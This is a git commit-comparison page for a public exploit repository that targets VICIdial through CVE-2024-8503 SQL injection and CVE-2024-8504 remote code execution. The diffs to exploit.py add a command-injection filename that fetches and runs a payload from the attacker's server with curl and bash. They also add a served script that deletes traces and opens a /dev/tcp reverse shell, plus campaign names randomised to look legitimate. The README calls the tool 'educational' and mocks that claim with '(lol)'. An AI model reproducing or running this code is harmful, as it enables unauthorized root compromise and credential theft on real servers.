Compare commits
10 Commits
9769bdac6d
...
eef25f93bb
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
eef25f93bb | ||
|
|
c95803b264 | ||
|
|
6b48869dd1 | ||
|
|
83c9bd5e9c | ||
|
|
1e5c4a51b3 | ||
|
|
be73a6415b | ||
|
|
b9f2928d49 | ||
|
|
2796df771c | ||
|
|
76934c993b | ||
|
|
03693c6360 |
14
README.md
14
README.md
@@ -3,20 +3,20 @@
|
||||

|
||||
## 🚨 Overview
|
||||
|
||||
This repository contains a combined exploit for two critical vulnerabilities discovered in **VICIdial** by **KoreLogic**:
|
||||
This repository contains a combined exploit for two critical vulnerabilities discovered in **[VICIdial](https://vicidial.com)** by **[KoreLogic](https://korelogic.com)**:
|
||||
- **CVE-2024-8503**: Unauthenticated SQL Injection (SQLi)
|
||||
- **CVE-2024-8504**: SQLi leading to Remote Code Execution (RCE)
|
||||
- **CVE-2024-8504**: Authenticated Remote Code Execution (RCE)
|
||||
|
||||
These vulnerabilities allow an attacker to retrieve administrative credentials through SQLi and ultimately execute arbitrary code on the target server via an RCE attack.
|
||||
|
||||
### 🛑 Advisory:
|
||||
|
||||
- **Vulnerability Type**: SQL Injection (CVE-2024-8503) and SQLi to RCE (CVE-2024-8504)
|
||||
- **Vulnerability Type**: SQL Injection (CVE-2024-8503) and RCE (CVE-2024-8504)
|
||||
- **Affected Software**: VICIdial
|
||||
- **Severity**: Critical
|
||||
- **CVE IDs**:
|
||||
- **CVE-2024-8503** (SQLi)
|
||||
- **CVE-2024-8504** (SQLi to RCE)
|
||||
- **CVE-2024-8504** (RCE)
|
||||
|
||||
### 🔗 Vulnerability Advisories:
|
||||
- [CVE-2024-8503 - SQLi Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt)
|
||||
@@ -26,7 +26,7 @@ These vulnerabilities allow an attacker to retrieve administrative credentials t
|
||||
|
||||
This exploit tool allows you to either:
|
||||
1. **Retrieve administrator credentials via SQLi** (CVE-2024-8503)
|
||||
2. **Achieve RCE via SQLi and poisoned recording files** (CVE-2024-8504)
|
||||
2. **Achieve RCE via poisoned recording files** (CVE-2024-8504)
|
||||
|
||||
The tool is based on KoreLogic’s original research, with enhancements made to:
|
||||
- Separate the **SQLi** and **RCE** functionalities for more flexibility.
|
||||
@@ -105,7 +105,7 @@ python exploit.py -u https://example.org -wh <server IP> -wp 5000 -lh <server IP
|
||||
|
||||
## 📄 Acknowledgements
|
||||
|
||||
This exploit is based on the original work by **KoreLogic**, and full credit goes to them for the discovery and initial PoC:
|
||||
This exploit is based on the original work by **[KoreLogic](https://korelogic.com)**, and full credit goes to them for the discovery and initial PoC:
|
||||
- [CVE-2024-8503 - SQLi Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt)
|
||||
- [CVE-2024-8504 - RCE Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt)
|
||||
|
||||
@@ -113,4 +113,4 @@ Special thanks to KoreLogic for the foundational work. This tool was adapted to
|
||||
|
||||
## 🛡️ Disclaimer
|
||||
|
||||
This tool is for **educational purposes** only (lol). Use of this exploit without explicit permission from the system owner is illegal. The author assumes no responsibility for the misuse of this tool.
|
||||
This tool is for **educational purposes** only (lol). Use of this exploit without explicit permission from the system owner is illegal. The author assumes no responsibility for the misuse of this tool. Scambaiters, you're welcome.
|
||||
154
exploit.py
154
exploit.py
@@ -11,6 +11,7 @@ import rich_click as click
|
||||
|
||||
from faker import Faker
|
||||
from base64 import b64encode
|
||||
from datetime import datetime
|
||||
from bs4 import BeautifulSoup
|
||||
from urllib.parse import urlparse
|
||||
|
||||
@@ -39,7 +40,11 @@ class Exploit:
|
||||
|
||||
self.TARGET_URL = url
|
||||
|
||||
self.TARGET_IP = urlparse(url).hostname
|
||||
# Resolve the domain to IP and replace in the URL
|
||||
self.replace_domain_with_ip()
|
||||
|
||||
# Get the IP from the resolved URL
|
||||
self.TARGET_IP = urlparse(self.TARGET_URL).hostname
|
||||
|
||||
self.PAYLOAD_WEBSERVER_HOST = whost
|
||||
self.PAYLOAD_WEBSERVER_PORT = wport
|
||||
@@ -55,19 +60,47 @@ class Exploit:
|
||||
self.CAMPAIGN_ID = "".join(random.choices(string.digits, k=6))
|
||||
self.LIST_ID = str(int(self.CAMPAIGN_ID) + 1)
|
||||
|
||||
self.MALICIOUS_FILENAME = "." + "".join(
|
||||
random.choices(string.ascii_lowercase + string.digits, k=4)
|
||||
)
|
||||
|
||||
self.COMPANY_NAME = (
|
||||
self.fake.company()
|
||||
.replace(" ", "_")
|
||||
.replace("-", "_")
|
||||
.replace(",", "")
|
||||
.lower()
|
||||
self.fake.company().title()
|
||||
+ " "
|
||||
+ random.choice(
|
||||
[
|
||||
"Dial",
|
||||
"Inbound",
|
||||
"Call",
|
||||
"Shift",
|
||||
"Support",
|
||||
"Sales",
|
||||
"Outbound",
|
||||
"Admin",
|
||||
"Helpdesk",
|
||||
"Queue",
|
||||
"Agent",
|
||||
"Service",
|
||||
"Tech",
|
||||
"Monitoring",
|
||||
"Operations",
|
||||
"Logistics",
|
||||
"Manager",
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
def custom_print(self, message: str, header: str) -> None:
|
||||
"""
|
||||
Prints a message with a colored header to indicate the message type.
|
||||
"""
|
||||
header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
|
||||
header_colors = {
|
||||
"+": "green",
|
||||
"-": "red",
|
||||
"!": "yellow",
|
||||
"*": "blue",
|
||||
"~": "magenta",
|
||||
}
|
||||
header_color = header_colors.get(header, "white")
|
||||
formatted_message = click.style(
|
||||
f"[{header}] ", fg=header_color, bold=True
|
||||
@@ -211,23 +244,58 @@ class Exploit:
|
||||
|
||||
# Ensure both fields are retrieved
|
||||
if not mgr_login_name or not mgr_pass_name:
|
||||
self.custom_print("Could not find the required dynamic fields", "-")
|
||||
return None, None
|
||||
self.custom_print(
|
||||
"Could not find the required dynamic fields, constructing manually",
|
||||
"!",
|
||||
)
|
||||
|
||||
# Get today's date in the required format (YYYYMMDD)
|
||||
today_date = datetime.now().strftime("%Y%m%d")
|
||||
|
||||
# Manually construct the dynamic field names
|
||||
mgr_login_name = f"MGR_login{today_date}"
|
||||
mgr_pass_name = f"MGR_pass{today_date}"
|
||||
|
||||
self.custom_print(
|
||||
f"Manually constructed dynamic field names: {mgr_login_name}, {mgr_pass_name}",
|
||||
"+",
|
||||
)
|
||||
else:
|
||||
mgr_login_name = mgr_login_name["name"]
|
||||
mgr_pass_name = mgr_pass_name["name"]
|
||||
|
||||
self.custom_print(
|
||||
f"Retrieved dynamic field names: {mgr_login_name}, {mgr_pass_name}", "+"
|
||||
f"Retrieved dynamic field names: {mgr_login_name}, {mgr_pass_name}",
|
||||
"+",
|
||||
)
|
||||
|
||||
return mgr_login_name, mgr_pass_name
|
||||
|
||||
except Exception as e:
|
||||
self.custom_print(f"Error retrieving dynamic fields: {str(e)}", "-")
|
||||
self.custom_print(f"An error occurred: {str(e)}", "-")
|
||||
return None, None
|
||||
|
||||
def resolve_domain_to_ip(self, url):
|
||||
"""Resolves a domain name to an IP address"""
|
||||
try:
|
||||
parsed_url = urlparse(url)
|
||||
domain = parsed_url.hostname
|
||||
if re.match(r"\d+\.\d+\.\d+\.\d+", domain):
|
||||
return domain
|
||||
ip_address = socket.gethostbyname(domain)
|
||||
return ip_address
|
||||
except socket.gaierror as e:
|
||||
raise ValueError(f"Error resolving domain: {str(e)}")
|
||||
|
||||
def replace_domain_with_ip(self):
|
||||
"""Replaces the domain in the TARGET_URL with its resolved IP address"""
|
||||
ip_address = self.resolve_domain_to_ip(self.TARGET_URL)
|
||||
self.TARGET_URL = self.TARGET_URL.replace(
|
||||
urlparse(self.TARGET_URL).hostname, ip_address
|
||||
)
|
||||
|
||||
def poison_recording_files(self, session, username, password):
|
||||
try:
|
||||
# authenticate using administrator credentials
|
||||
credentials = f"{username}:{password}"
|
||||
credentials_base64 = b64encode(credentials.encode()).decode()
|
||||
@@ -241,7 +309,9 @@ class Exploit:
|
||||
target_uri, params=request_params, headers=request_headers
|
||||
)
|
||||
if response.status_code == 200:
|
||||
self.custom_print(f'Authenticated successfully as user "{username}"', "+")
|
||||
self.custom_print(
|
||||
f'Authenticated successfully as user "{username}"', "+"
|
||||
)
|
||||
else:
|
||||
self.custom_print(
|
||||
"Failed to authenticate with credentials. Maybe hashing is enabled?",
|
||||
@@ -375,27 +445,27 @@ class Exploit:
|
||||
campaign_settings_body = {
|
||||
"ADD": "21",
|
||||
"campaign_id": self.CAMPAIGN_ID,
|
||||
"campaign_name": f"{self.COMPANY_NAME}_campaign",
|
||||
"campaign_name": f"{self.COMPANY_NAME}",
|
||||
"user_group": "---ALL---",
|
||||
"active": "Y",
|
||||
"allow_closers": "Y",
|
||||
"hopper_level": "1",
|
||||
"next_agent_call": "random",
|
||||
"local_call_time": "12pm-5pm",
|
||||
"local_call_time": "12am-11pm",
|
||||
"get_call_launch": "NONE",
|
||||
"SUBMIT": "SUBMIT",
|
||||
}
|
||||
response = session.post(
|
||||
target_uri, headers=request_headers, data=campaign_settings_body
|
||||
)
|
||||
self.custom_print(f'Created dummy campaign "{self.COMPANY_NAME}_campaign"', "+")
|
||||
self.custom_print(f'Created dummy campaign "{self.COMPANY_NAME}"', "+")
|
||||
|
||||
# update dummy campaign
|
||||
update_campaign_body = {
|
||||
"ADD": "41",
|
||||
"campaign_id": self.CAMPAIGN_ID,
|
||||
"old_campaign_allow_inbound": "Y",
|
||||
"campaign_name": f"{self.COMPANY_NAME}_campaign",
|
||||
"campaign_name": f"{self.COMPANY_NAME}",
|
||||
"active": "Y",
|
||||
"lead_order": "DOWN",
|
||||
"lead_filter_id": "NONE",
|
||||
@@ -506,26 +576,26 @@ class Exploit:
|
||||
)
|
||||
|
||||
self.custom_print(f"Authenticated as agent using phone credentials", "+")
|
||||
|
||||
try:
|
||||
malicious_filename = f"$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS{self.MALICIOUS_FILENAME}&&bash$IFS{self.MALICIOUS_FILENAME})"
|
||||
session_name = re.findall(
|
||||
r"var session_name = '([a-zA-Z0-9_]+?)';", response.text
|
||||
)[0]
|
||||
session_id = re.findall(r"var session_id = '([0-9]+?)';", response.text)[0]
|
||||
session_id = re.findall(
|
||||
r"var session_id = '([0-9]+?)';", response.text
|
||||
)[0]
|
||||
|
||||
self.custom_print(
|
||||
f"Session Name: {session_name}, Session ID: {session_id}", "+"
|
||||
)
|
||||
|
||||
malicious_filename = f"{self.CAMPAIGN_ID}1337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)"
|
||||
|
||||
except Exception as e:
|
||||
self.custom_print(
|
||||
f"Error retrieving session_name or session_id: {str(e)}", "-"
|
||||
)
|
||||
return False
|
||||
|
||||
malicious_filename = f"{self.CAMPAIGN_ID}1337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)"
|
||||
|
||||
record1_body = {
|
||||
"server_ip": self.TARGET_IP,
|
||||
"session_name": session_name,
|
||||
@@ -547,15 +617,19 @@ class Exploit:
|
||||
data=record1_body,
|
||||
)
|
||||
|
||||
recording_id_match = re.findall(r"RecorDing_ID: ([0-9]+)", response.text)
|
||||
print(response.text)
|
||||
recording_id_match = re.findall(
|
||||
r"RecorDing_ID: ([0-9]+)", response.text
|
||||
)
|
||||
if not recording_id_match:
|
||||
raise ValueError("Failed to retrieve RecorDing_ID from the response.")
|
||||
raise ValueError(
|
||||
"Failed to retrieve RecorDing_ID from the response."
|
||||
)
|
||||
|
||||
recording_id = recording_id_match[0]
|
||||
self.custom_print(
|
||||
f"Recording ID: {recording_id} retrieved successfully", "+"
|
||||
)
|
||||
self.custom_print(response.text, "~")
|
||||
|
||||
except Exception as e:
|
||||
self.custom_print(f"Error retrieving RecorDing_ID: {str(e)}", "-")
|
||||
@@ -582,8 +656,29 @@ class Exploit:
|
||||
headers=request_headers,
|
||||
data=record2_body,
|
||||
)
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.custom_print(f"An error occurred during exploitation: {str(e)}", "-")
|
||||
|
||||
finally:
|
||||
# Always delete the campaign, regardless of success or failure
|
||||
self.custom_print(
|
||||
f"Deleting campaign '{self.COMPANY_NAME}' with ID {self.CAMPAIGN_ID}",
|
||||
"*",
|
||||
)
|
||||
try:
|
||||
session.get(
|
||||
f"{self.TARGET_URL}/vicidial/admin.php?ADD=61&campaign_id={self.CAMPAIGN_ID}&CoNfIrM=YES",
|
||||
headers=request_headers,
|
||||
)
|
||||
self.custom_print("Campaign deleted successfully.", "+")
|
||||
except Exception as delete_exception:
|
||||
self.custom_print(
|
||||
f"Failed to delete campaign: {str(delete_exception)}", "-"
|
||||
)
|
||||
|
||||
# returns administrator username and password by
|
||||
# exploiting time-based SQL injection.
|
||||
def extract_admin_credentials(self, session):
|
||||
@@ -629,9 +724,15 @@ class Exploit:
|
||||
self.custom_print(
|
||||
f"Received cURL request from {incoming_address[0]}", "+"
|
||||
)
|
||||
exploit_script = f"#!/bin/bash\nbash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1"
|
||||
exploit_script = (
|
||||
f"#!/bin/bash\n"
|
||||
f"rm {self.MALICIOUS_FILENAME} /var/spool/asterisk/monitor/*curl*\n"
|
||||
f"bash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1\n"
|
||||
)
|
||||
|
||||
http_response = f"HTTP/1.1 200 OK\r\n"
|
||||
http_response += f"Content-Length: {len(exploit_script)}\r\n\r\n"
|
||||
|
||||
http_response += exploit_script
|
||||
client.sendall(http_response.encode())
|
||||
|
||||
@@ -642,7 +743,6 @@ class Exploit:
|
||||
self.custom_print(f"Error in webserver: {str(e)}", "-")
|
||||
|
||||
def start_listener(self):
|
||||
"""Démarre un listener Netcat pour capturer le reverse shell."""
|
||||
try:
|
||||
self.custom_print(
|
||||
f"Starting Netcat listener on port {self.REVERSE_SHELL_PORT}", "*"
|
||||
@@ -710,7 +810,7 @@ def print_banner():
|
||||
if __name__ == "__main__":
|
||||
print_banner()
|
||||
argparser = argparse.ArgumentParser(
|
||||
description="Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to retrieve credentials or RCE as root"
|
||||
description="Exploit for CVE-2024-8504: Unauthenticated SQLi to retrieve credentials or RCE as root"
|
||||
)
|
||||
required = argparser.add_argument_group("Required Arguments")
|
||||
optional = argparser.add_argument_group("Optional Arguments")
|
||||
|
||||
Reference in New Issue
Block a user